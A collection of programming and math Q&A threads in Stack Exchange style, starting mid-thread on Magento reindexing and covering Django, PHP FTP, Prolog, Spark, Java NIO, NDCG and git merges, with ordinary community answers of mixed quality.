      MATCH (s.data_index) AGAINST (:query IN BOOLEAN MODE) AS relevance
      FROM catalogsearch_fulltext AS sINNER JOIN catalog_product_entity AS e ON e.entity_id = s.product_id
      WHERE (s.store_id = 1) AND (MATCH (s.data_index) AGAINST (:query IN BOOLEAN MODE)) ON DUPLICATE KEY UPDATE relevance =
  VALUES(relevance)
      ";i:1;s:4001:"`

I also truncate all log tables but it's also not working in my case.
so if you guys have any other solution please share with me.

A: I have solved this issue at my end successfully :)

*

*First you delete locks folder under var directory: var/locks

*make sure 777 permission is var/locks and all files under locks directory.

*Take a backup of your database & delete catalog_product_flat_1, catalog_product_flat_2 or if there is another one.

*execute following code:

php indexer.php --reindex catalogsearch_fulltext
This will reindex your Catalog Search Index or if you want to update all of the indexes run:
php indexer.php reindexall


text:
Q: How to save user when saving a form using post within Class-Based Views in Django Currently the form instance is being saved but the user who filled out the information isn't being saved when I save this form. I am wondering how to grab the user and have it be added to the creation of the new form object.
class ObjectListView(LoginRequiredMixin, FormMixin, ListView):
    model = Object
    template_name = 'ui/home.html'
    context_object_name = 'objects'
    form_class = OrderForm

    def post(self, request, *args, **kwargs):
        form = self.get_form()
        if form.is_valid():
            form.save()
            order_type = form.cleaned_data.get('order_type')
            price = form.cleaned_data.get('price')
            **user = request.user**
            messages.success(request, f'Your order has been placed.')
        return redirect('account')

A: In order to add more info before saving a form, you can use the parameter commit=False
views.py
class ObjectListView(LoginRequiredMixin, FormMixin, ListView):
    ...
    def post(self, request, *args, **kwargs):
        ...
        if form.is_valid():
            obj = form.save(commit=False)
            obj.user = request.user ## Assuming that the relevant field is named user, it will save the user accessing the form using request.user
            obj.save()
            ...
        return redirect('account')  ## this should be indented if it is to work only on successfully saving the form

A: You can fetch the user object from User model of django and save the object using save method.
from django.contrib.auth.models import User

class ObjectListView(LoginRequiredMixin, FormMixin, ListView):
    model = Object
    template_name = 'ui/home.html'
    context_object_name = 'objects'
    form_class = OrderForm

    def post(self, request, *args, **kwargs):
        user = User.objects.get(id=request.user.id) #fetch the user object
        form = self.get_form()
        if form.is_valid():
            form.save()
            order_type = form.cleaned_data.get('order_type')
            price = form.cleaned_data.get('price')
            user.save() #saves/updates the user
            messages.success(request, f'Your order has been placed.')
        return redirect('account')


text:
Q: Como enviar todos os arquivos de uma pasta via FTP no PHP? Preciso pegar todos arquivos de uma pasta local e envia via FTP para uma pasta no servidor.
Explicação:
Tenho uma pasta com imagens (.jpg) de produtos que no momento do cadastro gero um ID no banco de dados mysql e coloco como nome na imagem.
E preciso pegar estas imagens e levar ate um outro servidor via FTP, so que não seria funcional precisar selecionar ou ate mesmo fazer manual o processo, com isto preciso de uma forma via programação PHP que eu agende depois no cron do servidor para executar.
Agradeço

A: Use http://php.net/manual/en/book.ftp.php
Um exemplo de upload:
<?php
$ftp_server = '<endereço do ftp>';
$ftp_user_name = '<usuario>';
$ftp_user_pass = '<senha>';

//Arquivo de origem
$file = '/pasta/no/servidor/de/origem/imagem.jpg';

//Aonde será salvo
$remote_file = 'pasta/no/servidor/remoto/imagem.jpg';

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "Upload de $file completo\n";
} else {
    echo "Erro ao enviar o $file\n";
}

ftp_close($conn_id);

Se quiser enviar todos de uma pasta pode usar opendir ou scanndir ou FileSystem


text:
Q: Proof involving order axioms for real numbers If $x$ has the property that $$\space0\leq x < h$$$$\forall\space h\in\mathbb{R^{+}}$$ then $$x=0$$
My "educated" guess is that if you have a $x>0$ then the statement does not hold for all $h\in\mathbb{R^{+}}$. But I don't know how to fit it together formally. Thanks a lot in advance !

A: Well, if $x>0$, there exists a real number  $h$ ($=\frac{x}{2}$ for example) such that
$$0 < h < x. $$

A: *

*$2^{-1}+2^{-1}=1$. Indeed, $2(2^{-1}+2^{-1})=2\cdot2^{-1}+2\cdot2^{-1}=1+1=2$; from $2(2^{-1}+2^{-1})=2$ we get the thesis (multiply both sides by $2^{-1}$).

*$2^{-1}>0$. Otherwise $2^{-1}<0$, so $1=2^{-1}+2^{-1}<0$, a contradiction.

*$2^{-1}<1$. Otherwise $2^{-1}\ge1$, so $1=2^{-1}+2^{-1}\ge1+1=2$, a contradiction.
Therefore $0<2^{-1}<1$ and, if $x>0$,
$$
0<2^{-1}x<x
$$

A: As was said above, you prove this by asuming $x > 0$ and finding a number $h$ such that $0 < h < x$. I can think of a couple of different approaches to find this $h$, I hope you find them useful.
I. Since $0 < \frac{1}{2}$, adding $\frac{1}{2}$ to both sides gives you $\frac{1}{2} < 1$ (because $x \leq y \Rightarrow x + z \leq y + z$). Then, $x > 0$ and $0 < \frac{1}{2} < 1$ imply $0 < \frac{x}{2} < x$ (because if $x > 0$ and $y < z$ then $xy < xz$). Thus finding $h = \frac{x}{2}$.
II. While not an order axiom, you can use the archimedean property of $\mathbb{R}$: For every $x > 0$ there's an $n \in \mathbb{N}$ such that $0 < \frac{1}{n} < x$. Here, $h$ would be the $\frac{1}{n}$ guaranteed by said property.


text:
Q: show hide div doesn't work when radio checked any idea why it works perfectly in fiddle:
http://jsfiddle.net/Qac6J/1/
and doesn't work if you try it in for example in notepad++
I add head, body, , etc but it still doesn't work
Thanks in advance for help
lukas
<!DOCTYPE HTML>

<form id="group">

    <input type="radio" name="group1" class="sim-micro-btn trigger" data-rel="sim-micro-desktop" />

    <input type="radio" name="group1" class="sim-mini-btn trigger" data-rel="sim-mini-desktop" />

    <input type="radio" name="group1" class="sim-maxi-btn trigger" data-rel="sim-maxi-desktop" />

    <input type="radio" name="group1" class="sim-mega-btn trigger" data-rel="sim-mega-desktop" />

</form>

sim-micro

sim-mini

sim-maxi

sim-mega


text:
Q: Does Safari 15.1 (15.1 on macOS and iOS 15.1) fix losing tabs opened in groups? I had problems in Safari 15 (not 15.1) with tabs disappearing. Few times iPhone have different tabs opened in some groups and when it synced this group with Mac it basically overwritten what tabs I have - losing results of my research or other work.
I stopped using Safari after this and my question is - is it fixed in 15.1?
It would be great if someone could show some changelog that mention this particular case being fixed or example of some user that lost his tabs in Safari 15 but don't lose them anymore on Safari 15.1. Thanks


text:
Q: Is JSON parsing wrong? I'm developing an iOS application with latest SDK and XCode 4.2.
To parse JSON response, I'm using this JSON parser: https://github.com/stig/json-framework/
I receive this JSON string from web service (this is console log):
2012-02-16 08:21:59.525 JReader[558:207] {"rules": [
{ "id_categoria": "3","categoria": "cat03" },{ "id_categoria": "2","categoria": "cat02" }
     ]
   }

JSON parser parses to a NSArray with these two elements (this is console log):
2012-02-16 08:22:04.910 JReader[558:207] {
    categoria = "cat03";
    "id_categoria" = 3;
}

2012-02-16 08:22:04.911 JReader[558:207] {
    categoria = "cat02";
    "id_categoria" = 2;
}

Objective-C code to parse is:
- (IBAction)go:(id)sender
{
    parser = [[SBJsonParser alloc] init];
    NSURLRequest* request = [NSURLRequest requestWithURL:[NSURL URLWithString:@"http://XXX"]];

    NSData* response = [NSURLConnection sendSynchronousRequest:request returningResponse:nil error:nil];

    NSString *json_string = [[NSString alloc] initWithData:response encoding:NSUTF8StringEncoding];

    // parse the JSON response into an object
    // Here we're using NSArray since we're parsing an array of JSON status objects
    NSLog(@"%@", json_string);
    NSDictionary* datos = [parser objectWithString:json_string error:nil];
    NSArray* data = [datos objectForKey:@"rules"];
    for (int i = 0; i < data.count; i++)
    {
        NSLog(@"%@", [data objectAtIndex:i]);
    }

}

I expect a NSDictionary with these pairs:
  key           value
============  ============
categoria         cat03
id_categoria        3

MY QUESTIONS:

*

*Is there any error on json string?

*Why is it parsing this way?
It is my first time parsing JSON, so I don't know if it is parsing well.

A: There is nothing wrong with that. It's an array of dictionaries inside a dictionary with the key rules. That's exactly what you got.

A: Problem:
NSDictionary* datos = [parser objectWithString:json_string error:nil];
NSArray* data = [datos objectForKey:@"rules"];
for (int i = 0; i < data.count; i++)
{
    NSLog(@"%@", [data objectAtIndex:i]);
}

So you're logging the array INSIDE the main dictionary. You're properly getting the JSON parsed, you're just logging something else.


text:
Q: Comparing Values in Individual Rows to Corresponding Rows In Different Column I'm new to the forum and relatively new to R.
I'm currently manipulating my data. The data are placed in a DataFrame. I'd like to compare the values in each row of column 'Prime' to each corresponding row of column 'target'. If the values match I want to add the value '1' to the corresponding row in column 'Match' and if they don't match add a '0'.
Below is an example of the columns and the solution under column 'Match'
Prime    Target  Match
faces0   faces0   1
faces0   faces0   1
houses1  faces0   0

I toyed around using ifelse and identical but it compares the objects as a whole and not the individual and corresponding rows.
Can anyone suggest a means of comparing Prime and Target while assigning a value to Match dependant on a match being made or not?
Thanks very much for your time.

A: This is a straight logical test, so if you compare the two columns for equality, you will get TRUE/FALSE, which can easily be converted to 1/0 with as.numeric(). Depending on how your columns are coded, they may need to be converted to character before the comparison:
dat$Match <- as.numeric(dat$Prime == dat$Target)
dat$Match
# [1] 1 1 0

A: You can use ifelse or matchbut need to convert to numeric before that. Here is the solution.
mydata<-structure(list(Prime = structure(c(1L, 1L, 2L), .Label = c("faces0",
"houses1"), class = "factor"), Target = structure(c(1L, 1L, 1L
), .Label = "faces0", class = "factor"), Match = c(1, 1, 0)), .Names = c("Prime",
"Target", "Match"), row.names = c(NA, -3L), class = "data.frame")

> mydata$Match<-with(mydata,ifelse(as.numeric(Prime)==as.numeric(Target),1,0))
> mydata
    Prime Target Match
1  faces0 faces0     1
2  faces0 faces0     1
3 houses1 faces0     0

mydata$Match<-with(mydata,match(as.numeric(Prime),as.numeric(Target),nomatch=0))
 > mydata
        Prime Target Match
    1  faces0 faces0     1
    2  faces0 faces0     1
    3 houses1 faces0     0


text:
Q: How to specify column data types when writing Spark Dataframe to SQL Server I am writing a Spark dataframe to SQL Server as can be seen by the following code extract.
url = "jdbc:sqlserver://{0}:{1};database={2}".format(jdbcHostname,jdbcPort,jdbcDatabase)
mydf = spark.sql(f"SELECT * FROM {source['db']}.{source['table']}")
mydf.write\
  .format("jdbc")\
  .mode("overwrite")\
  .option("driver", "com.microsoft.sqlserver.jdbc.SQLServerDriver")\
  .option("url", url)\
  .option("dbtable", f"{destination['db']}.dbo.{destination['table']}")\
  .option("user", properties['user'])\
  .option("password", properties['password'])\
  .option("batchSize", 50000)\
  .save()

However, string fields are stored as nvarchar by default whereas I would like to specify a varchar value for them. Performing casts on the dataframe beforehand to convert column datatypes did not help.
Any advice would be appreciated.

A: You should implement JdbcDialect and register it.

https://spark.apache.org/docs/1.6.1/api/java/org/apache/spark/sql/jdbc/JdbcDialect.html

*

*Override method getJDBCType() and provide types you want.
public CustomDialect extends JdbcDialect {

 @Override
 public boolean canHandle(String url) {
     return true;
 }

 @Override
 public Option<JdbcType> getJDBCType(DataType dt) {
     if (dt.equals(DataTypes.StringType)) {
         return new Some<>(new JdbcType("VARCHAR(1000)", Types.VARCHAR));
     }
     return super.getJDBCType(dt);
 }

 @Override
 public String quoteIdentifier(String colName) {
     return colName;
 }

}

*Register dialect

JdbcDialects.registerDialect( new CustomDialect());


text:
Q: How can I use BeautifulSoup to find all the links in a page pointing to a specific domain? How can I use BeautifulSoup to find all the links in a page pointing to a specific domain?

A: Use SoupStrainer,
from BeautifulSoup import BeautifulSoup, SoupStrainer
import re

# Find all links
links = SoupStrainer('a')
[tag for tag in BeautifulSoup(doc, parseOnlyThese=links)]

linkstodomain = SoupStrainer('a', href=re.compile('example.com/'))

Edit: Modified example from official doc.


text:
Q: jquery history.go() to a specific page after navigating to different pages I have a scenario where I want to return to a specific page after I navigate to different pages. The scenario is that a user makes a search, gets the results in the same page. He can then make updates on the a specific result on a different page. I would like to create a link that can bring the user back to the search result page. I am trying to user history.go(specificnumber), but how can I get the variable specificnumber from when the user make its first search to the number of page visited or loaded after the search. Or am I in the wrong direction for the implementation?

A: Maybe I misunderstood your question but if you just want to go to a previous page you can use window.history.back();
Otherwise if you want to save all input data from user (to user) and use it to navigate next you can just use document.cookies or localStorage.


text:
Q: modifying the "G" string formatter in C# to use exponents when number contains at least two zero d.p Is it possible to modify the standard Numeric Format "G" so that the exponent is used when the number contains more than 2 zeros after the decimal place. If not, alternative solutions will be appreciated
e.g. Console.WriteLine("{0:G}", -0.001960231155763821);  outputs  1.96023115576382E-03
I cannot use the "E" formatter because for i have to also format double like 0.1326402168430582 for which the output should be 0.132640216843058
It seems that exponents are used in the "G" formatter when the number contains more than 4 zeros after the decimal place e.g. Console.WriteLine("{0:G}", 0.000023); outputs 2.3E-05

A: You can write extension method.  Bellow is the code that you can copy and paste in LINQPad and run it.  Dump() method is LINQPad extension method.  So if you copy your code to VS, just ignore it.
void Main()
{
    var x = -0.00160231155763821;
    var x2 = 0.099;
    var x3 = -0.001;

    x.G2Format().Dump("x");
    x2.G2Format().Dump("x2");
    x3.G2Format().Dump("x3");
}

public static class Extensions
{
    public static string G2Format(this double value)
    {
        var format = (0.01 > value) ? "{0:e}" : "{0:G}";
        return string.Format(format, value);
    }
}

It will gives you this result:
x
-1.602312e-003

x2
0.099

x3
-1.000000e-003

Is that what you are looking for?


text:
Q: Get the output value from a Prolog recursive function I am learning Prolog these days and need to combine two list into one that follows this rule:
ListA: [], ListB: [] => ResultList: []
ListA: [], ListB:[a,b,c] => ResultList: [[a],[b],[c]]
ListA: [1,2], ListB:[a,b,c] => ResultList: [[1,2,a],[1,2,b],[1,2,c]]

I am stuck with a recursive function output value problem and here is my coding:
extend_my_path([],_,_,_).
extend_my_path([H|T],OriginalPath,OrignailMewPaths,NewPaths) :-
    append(OriginalPath,[H],NewPath),
    append(OrignailMewPaths,[NewPath],NewPaths1),
    print("NewPaths1:"),print(NewPaths1), nl,
    extend_my_path(T,OriginalPath,NewPaths1,NewPaths1).

Running it gives the following output without the value of Result varable:
?- extend_my_path([a,b,c],[1,2],[],Result).
"NewPaths1:"[[1,2,a]]
"NewPaths1:"[[1,2,a],[1,2,b]]
"NewPaths1:"[[1,2,a],[1,2,b],[1,2,c]]
true.

I wish to get its value like:
Result=[[1,2,a],[1,2,b],[1,2,c]]

It is highly appreciated if anyone can point out the reason. Thanks.

A: I see quite a bit of confusion in these six lines of code. Here are some clues that something is amiss:

*

*Your problem is defined in terms of three things, but your predicate has four arguments. What are the last two supposed to be?

*You have a singleton variable NewPaths which is a disaster

*Your base case relates an empty list to any three other things! Try it: extend_my_path([], lightning, [the,sound,of,rain], "fresh coffee") is true! This seems unlikely to be what you intended.

*One wonders what an "Orignail Mew Paths" is, or what "paths" have to do with anything here. Typos matter, fix them!

*The inductive case ends with two copies of NewPaths1, which seems suspicious because we had two very different variables at the start, and as you see in the base case it doesn't matter what they are. Odd!

I think what happened here is that you figured the only and right way to add things to a list is with append/3, which isn't true. I think further Prolog's single-assignment semantics convinced you that you needed another argument to create the empty list for you to append to. You missed the base case for your recursion so you never got a sensible return; making it wide open at least got you to true but didn't give you a binding. And the fundamental problem here is that there isn't a sensible relation in your code. Let's try again.
You're trying to write a predicate whose name and arguments are something more like this:
% extend_path(Path, Possibilities, NewPaths)

There's no need for a fourth argument here, because you don't need to know what you've done so far in creating NewPaths, you can just build the paths for the current possibility and know that recursion is taking care of the rest.
Your base case would then be the case where you have no more possibilities, and thus, no new paths:
extend_path(_, [], []).

This doesn't say anything-relates-to-anything, it says "the path extensions of any prefix, when I'm out of possibilities, is empty."
Your inductive case then takes your first argument and appends it onto the next item from your list of possibilities. This goes on your list of new paths.
extend_path(Prefix, [Ext1|ExtRest], [Next1|NextRest]) :-
    append(Prefix, [Ext1], Next1),
    extend_path(Prefix, ExtRest, NextRest).

This literally says "given some Prefix, and that I have an Ext left in my list of extensions, will produce a new path extension Next1, such that: Prefix + [Ext1] is Next1." Actually, it says a little more than that with the recursive step. But the idea here is bite off one piece, Ext1, and match it up with one piece of the result, Next1, and then match up the rest of the input with the rest of the output.
Lastly, please do not treat a singleton variable "warning" as a warning. This is not like Python being mad that you don't have enough newlines between functions. Singleton variables are almost always CRITICAL ERRORS, especially for new users of Prolog! Pay attention to them!
Hope this helps!

A: Instead of trying to fix your existing code let's try solving the problem afresh. You show the examples:
ListA: [],    ListB: []      => ResultList: []
ListA: [],    ListB: [a,b,c] => ResultList: [[a],[b],[c]]
ListA: [1,2], ListB: [a,b,c] => ResultList: [[1,2,a],[1,2,b],[1,2,c]]

and
?- extend_my_path([a,b,c], [1,2], [], Result).
Result = [[1,2,a],[1,2,b],[1,2,c]]

The third argument looks completely out of place, and the first and the second arguments  are swapped compared to the first batch of examples, so let's say it's supposed to be
?- ListA = [1,2], ListB = [a,b,c], extend_my_path( ListA, ListB, ResultList).
ResultList = [[1,2,a],[1,2,b],[1,2,c]]

So we start coding by just listing the cases we know must hold:
extend_my_path_ex( [], [], []).
extend_my_path_ex( [],    [a,b,c], [[    a],[    b],[    c]]).
extend_my_path_ex( [1,2], [a,b,c], [[1,2,a],[1,2,b],[1,2,c]]).

Generalizing it gives us
extend_my_path3( [], [], []).
extend_my_path3( OneTwo, [A,B,C], [OneTwoA,OneTwoB,OneTwoC]):-
    append( OneTwo, [A], OneTwoA),
    append( OneTwo, [B], OneTwoB),    % ... right? all the examples produce
    append( OneTwo, [C], OneTwoC).    %     the same answers. check it!

And what if there were only two of them?
extend_my_path2( [], [], []).
extend_my_path2( OneTwo,   [B,C],         [OneTwoB,OneTwoC]):-
    append( OneTwo, [B], OneTwoB),
    append( OneTwo, [C], OneTwoC).    % ... right?

So we can actually just re-write it syntactically as
extend_my_path3( [], [], []).
extend_my_path3( OneTwo, [A | [B,C]], [OneTwoA | [OneTwoB,OneTwoC] ]):-
    append(      OneTwo, [A],          OneTwoA),
    extend_my_path2( OneTwo,  [B,C],             [OneTwoB,OneTwoC]  ).

But look! Whatever we were doing with the three elements, we are doing the same thing, essentially,  with the two.
And why should we limit ourselves to the three, or the two elements cases only? There's nothing special about those. Let's generalize once more,
extend_my_path( [], [], []).
extend_my_path( OneTwo, [A | B_C], [OneTwoA | OneTwoB_OneTwoC ]):-
    append(     OneTwo, [A],        OneTwoA),
    extend_my_path( OneTwo,  B_C,             OneTwoB_OneTwoC ).

Can you take it from here?


text:
Q: Is there any good tutorial to write custom login, registration and password recovery forms? I like to have login and password recovery managed by my own forms and embed them into my theme.
I'm using the well written Jeff Farthing's plugin "Theme My Login" on some of my projects. But I would like to write my own custom functions and avoid the use of a plugin.
However I would also like to learn more on the process of making custom forms for logging in. While I might spending some time dissecting the plugin as suggested in an answer to a similar question (How to create custom LOGIN and REGISTRATION forms?), I would like to know if there's any good tutorial, wiki or codex page which I might have missed that digs more or less deeply into user forms writing to have a better understanding of the subject.
I'd rather have the answer "no, there isn't any" than just "stick to the plugin", which is kinda obvious and repeated - after all, me and some others reading might have missed something different and new such as a well written article or tutorial.
cheers!

A: Having done some research into Wordpress logins in the past, this is one of the few (possibly only?) tuts I could find where the author actually created a new login/register form.
http://digwp.com/2010/12/login-register-password-code/
Even so, he still uses the generic Wordpress wp-login.php code.
Re-coding the entire process is a big task. If you dig into theme-my-login you will see that it's a few thousand lines of code.
wp_update_user & wp_insert_user might get you started!


text:
Q: Does JDK7 NIO.2 use Epoll etc. on Linux? I am studying the architecture of networking IO APIs in different languages and had a query on how the Async IO APIs in Java are implemented underneath. The "old" stream IO APIs (pre 1.4) offered synchronous blocking read/write functionality. JDK 1.4 NIO APIs use epoll/select to test IO readiness (exposed to users via SelectableChannel and Selector, etc.). This is presumably the case on both Windows and *nix. This is the reactor pattern. Now, JDK7 introduced the NIO.2 API which, among other things, offers an asynchronous API (proactor pattern) , and uses internal (configurable) thread pools to do IO in the background, and callback to user code when complete. It presumably uses IOCP on Windows, but I was wondering:
1. what does it use on Linux, which is my primary platform of interest. Does it use epoll and friends, or does it use a threadpool to do blocking IO?
2. Is the actual IO in NIO.2 (irrespective of platform) done by user threads in the Java threadpool, or is it done by kernel threads, and the Java threadpool threads are responsible for just copying the bytebuffers and calling back to user code?

A: If linux kernel >= 2.6 is detected, then the java.nio.channels.spi.SelectorProvider will use epoll.
Here is a piece of the DefaultSelectorProvider.java source (from Java 7):
public static SelectorProvider create() {
    String osname = AccessController.doPrivileged(
        new GetPropertyAction("os.name"));
    if ("SunOS".equals(osname)) {
        return new sun.nio.ch.DevPollSelectorProvider();
    }

    // use EPollSelectorProvider for Linux kernels >= 2.6
    if ("Linux".equals(osname)) {
        String osversion = AccessController.doPrivileged(
            new GetPropertyAction("os.version"));
        String[] vers = osversion.split("\\.", 0);
        if (vers.length >= 2) {
            try {
                int major = Integer.parseInt(vers[0]);
                int minor = Integer.parseInt(vers[1]);
                if (major > 2 || (major == 2 && minor >= 6)) {
                    return new sun.nio.ch.EPollSelectorProvider();
                }
            } catch (NumberFormatException x) {
                // format not recognized
            }
        }
    }

    return new sun.nio.ch.PollSelectorProvider();
}

Both NIO 2 and the "original" one (let's call it NIO 1) have to use the low-level event notification mechanisms or Linux AIO API (which is relatively new) because you never know what will be the kernel on machine your application runs. I would not be surprised to see that NIO 2 actually uses Linux AIO or maybe POSIX AIO (they are quite different).


text:
Q: Is NDCG (normalized discounted gain) flawed? I have calculated a few alternative ranking quality measures, and I can't make heads or tails of it I'm using python for a learning-to-rank problem, and I am evaluating my success using the following DCG and NDCG code (from http://nbviewer.ipython.org/github/ogrisel/notebooks/blob/master/Learning%20to%20Rank.ipynb )
def dcg(relevances, rank=20):
    relevances = np.asarray(relevances)[:rank]
    n_relevances = len(relevances)
    if n_relevances == 0:
        return 0.
    discounts = np.log2(np.arange(n_relevances) + 2)
    return np.sum(relevances / discounts)

def ndcg(relevances, rank=20):
    best_dcg = dcg(sorted(relevances, reverse=True), rank)
    if best_dcg == 0:
        return 0.
    return dcg(relevances, rank) / best_dcg

Here are the DCG values for the best and worst case scenarios in a list of 3 items with no duplicate ranks...
>>> ndcg(np.asarray([3,2,1]))
1.0
>>> ndcg(np.asarray([1,2,3]))
0.78999800424603583

We can use this metric to compare the two rankings and see which is better. If I calculate the worst case for a 4 item list, however...
>>> ndcg(np.asarray([1,2,3,4]))
0.74890302967841715

The 4 item list no longer seems comparable to the 3 item list.
I have also calculated two alternative NDCGs. NDCG2 compares the achieved dcg to bot the best and worst case...
def ndcg2(relevances, rank=20):
    best_dcg = dcg(sorted(relevances, reverse=True), rank)
    worst_dcg=dcg(sorted(relevances, reverse=False),rank)
    if best_dcg == 0:
        return 0.
    return (dcg(relevances, rank)-worst_dcg) / (best_dcg-worst_dcg)

NDCG randomizes my list of actual rankings 50 times, calculates dcg for each, and compares that to my actual DCG.
def ndcg3(relevances, rank=20):
    shuffled=np.copy(relevances)
    rands=[]
    for i in range(50):
        np.random.shuffle(shuffled)
        rands.append(dcg(shuffled,rank))
    avg_rand_dcg=np.mean(np.asarray(rands))
    return dcg(relevances, rank) / avg_rand_dcg

Across my various lists, I get the following metrics...

*

*NDCG: average is .87 (sounds good)

*Spearman rank: around .25 (not amazing, but there is something there)

*NDCG2: .58 (on average, slightly closer to the best dcg than it is to the worst)

*NDCG3: 1.04 (slightly better than randomly sorted lists)

I honestly can't make heads or tails of these results. My NDCG values seem good, but are they really comparable across lists? Do the alternative metrics make more sense?
edit: In my first random comparison, I was not using np.copy(). As such, my random score was almost always .99. That is now fixed and results make more sense.

A: One think that may mislead you is the way to normalize NDCG. Usually, you have a number of documents to rank, but your NDCG is truncated at a smaller number of documents (for example NCDG@3). In your code, this is determined by the parameter 'rank'.
Let's say that you want to rank 5 documents with relevances R = [1, 2, 3, 4, 0], and compute NDCG@3. If your algorithm believes that the optimal order is [doc1, doc2, doc3, doc4, doc5], then you will have:
NDCG@3 = DCG([1, 2, 3]) / DCG([4, 3, 2])

and not
NDCG@3 = DGC([1, 2, 3]) / DCG([3, 2, 1])   # Incorrect

So in a sense, NDCG([1, 2, 3]) and NDCG([1, 2, 3, 4]) are not comparable. The numerators are quite the same, but the denominators are completely different. If you want NDCG to have an intuitive meaning, you have to set
'rank' smaller or equal to your number of documents.


text:
Q: Retrofit 500 response during get I'm trying to build an android application and i got a 500 response during  GET action,the request work perfectly and return 200 in postman.
Here is my code,its in the on create function.
 try {

                OkHttpClient client = new OkHttpClient();
                client.setConnectTimeout(5, TimeUnit.MINUTES); // connect timeout
                client.setReadTimeout(5, TimeUnit.MINUTES);
                Retrofit retrofit = new Retrofit.Builder()
                        .baseUrl(LoginActivity.adresseLocal).addConverterFactory(GsonConverterFactory.create()).client(client)
                        .build();
                APIService service = retrofit.create(APIService.class);
                Call<List<Limit>> call1 = service.getLimit(pf.getString("ip",""),pf.getString("login",""),pf.getString("password",""),pf.getString("database",""), "792EE098-A158-4197-B6B9-23BD95D4F58B", "2", "2");

                call1.enqueue(new Callback<List<Limit>>() {
                    @Override
                    public void onResponse(Response<List<Limit>> response, Retrofit retrofit) {

                        System.out.println("respooooonse" + "" + response.code());
                        Gson gson = new Gson();
                        TypeAdapter<Limit> adapterrr = gson.getAdapter(Limit.class);
                        try {
                            Limit limit;

                            if (response.errorBody() != null)
                                limit =
                                        adapterrr.fromJson(
                                                response.errorBody().string());
                        } catch (IOException e) {
                            e.printStackTrace();
                        }

                        System.out.println("d5aaaaaaaaaaaaaaaaaal");
                        System.out.println("c bn d5al");
                        limits = response.body();
                        System.out.println(response.body());

                  for (Limit l : response.body()) {
    //
    //                          System.out.println(l.getRefpeak());
    //                            System.out.println(p.getPeak());

    //                            rms.add(new Entry(p.getRms(), i));
    //                            ku.add(new Entry(p.getKu(), i));
    //                            peak.add(new Entry(p.getPeak(), i));
    //                            cf.add(new Entry(p.getCf(), i));
    //                            ovelo.add(new Entry(p.getOvelo(), i));
    //                            b1.add(new Entry(p.getB1(), i));
    //                            b2.add(new Entry(p.getB2(), i));
    //                            b3.add(new Entry(p.getB3(), i));
    //                            b4.add(new Entry(p.getB4(), i));
    //                            b5.add(new Entry(p.getB5(), i));
    //                            b6.add(new Entry(p.getB6(), i));
    //                            speed.add(new Entry(p.getSpeed(), i));
    //                            i++;
                          }

                        }

                    @Override
                    public void onFailure(Throwable t) {
                        //avi.hide();
                        System.out.println("faiiiilure");
                        System.out.println("KAKA" + t.toString());
                    }
                });
            } catch (Exception e) {
                Log.d("onResponse", "There is an error");
                e.printStackTrace();
            }

whats wrong with my code?
  https://i.stack.imgur.com/LPVm9.jpg

A: If you get a response with status code = 500 which refers to "internal server error" error, then this could be the server didn't handle well with your data sent in the request.
To know more detail, you can log all the parameters to sent to server:
pf.getString("login","")
pf.getString("ip","")
...

Then compare with parameters sent in the Postman.
More detail about error 500


text:
Q: KeyListener working only on debugger,but dosen't on Run I have weird problem, my application doesn't work on 'run', but only while debugging.
Im trying to start game while pressing button, but then keyListener dosent work(it does work correctly while debugging). I have 3 panel, the first one is for logining, and after clicking button it should start game and remove current panel. The second and third are for score area and game area. When im opening game without LoginPanel it does work fine. Do u have any ideas what can be wrong?
public LoginPanel(MainFrame mainFrame)
{
    this.mainFrame = mainFrame;
    makeGIU();

}
public void paintComponent(Graphics g) {
    g.drawImage(img, 0, 0, getWidth(), getHeight(), this); // draw the image
}

private void makeGIU()
{
    this.img = new ImageIcon(SOURCE).getImage();
    setDimension();
    button = new JButton("OK");
    nickLabel = new JLabel("SOKOBANA
TOMASZ JANIEC
KACPER KUSTRA", JLabel.CENTER);
    nickLabel.setFont(new Font("Gloria Hallelujah",Font.PLAIN,20));
    nickLabel.setSize(100,50);
    this.setLayout(new FlowLayout());
    button.addActionListener(evt -> {
        mainFrame.remove(this);
        mainFrame.newGameStart();
        mainFrame.revalidate();
    });
    this.setPreferredSize(Size);
    this.add(button);
    this.add(nickLabel);
    this.add(nickText);
    mainFrame.getContentPane().add(this,BorderLayout.CENTER);
}
public MainFrame() {
    setTitle(TITLE);
    setVisible(true);
    setBounds(new Rectangle(DEFAULT_WIDTH, DEFAULT_HIGHT));
    makeMenu();
    this.setResizable(true);
    //newGameStart(); // this does work
    this.add(new LoginPanel(this)); // this dosent
    revalidate();
}

public void newGameStart() {
        Thread t = new Thread(new MyRunnable(this, DEFAULT_WIDTH, DEFAULT_HIGHT, mapNames) {
        });
        t.start();

}

A: Add a key listener on the JPanel and than with an if statement you can set which key want to control


text:
Q: Is there a way to merge only a subdirectory in git? We have 2 directories in the project: backend & frontend. We're working on same feature branch, let's call it feature-branch, both FE and BE.
FE is adding changes only to frontend dir, BE only to backend dir.
Now I want to merge master to feature-branch. However, there are conflicts both in BE & FE. I'm BE engineer, so I don't know how to resolve the FE conflicts. Is there a way to merge only changes from BE dir, push those changes and then ask the FE engineer to merge the FE changes?
p.s. feature-branch is our main feature branch. We're creating subbranches from that one and direct our PRs towards that feature-branch. We don't push directly to that branch.

A: If you want to do the merge in parts, make the partial merges, then merge those. How you want your history to look afterwards is up to you, the only statement Git cares about for a merge is "this is a correct merge of these ancestors".
The most-excruciatingly-correct way to do it would probably be to do both the partial merges on their own,
One partial merge, not to the feature branch, with just the backend:
git checkout feature^0          # checkout the feature commit bare, this is a wip
git merge --no-commit master    # merge master, with manual changes
resolve all the backend conflicts, then
git checkout @ -- frontend      # restore untouched frontend directory
git commit -m "backend-only merge of branch 'master'"
git tag WIP/backend-master-merge

Then do it with just the frontend:
git checkout feature^0          # checkout the feature commit bare, this is a wip
git merge --no-commit master    # merge master, with manual changes
resolve all the frontend conflicts, then
git checkout @ -- backend       # restore untouched backend directory
git commit -m "frontend-only merge of branch 'master'"
git tag WIP/frontend-master-merge

and now merge the results:
git checkout feature
git merge WIP/{frontend,backend}-master-merge

so that nothing shows up on the feature branch that can't pass your integration tests.  You could get a simpler command sequence and a simpler-looking history by doing one of the partial merges directly on the feature branch then later merging the other partial result.

A: Do the merge then checkout the desired directory
git merge --no-commit FE
git checkout HEAD PATH_TO_FRONT_END
git add FILES
git commit -m "Just BE changes!"


text:
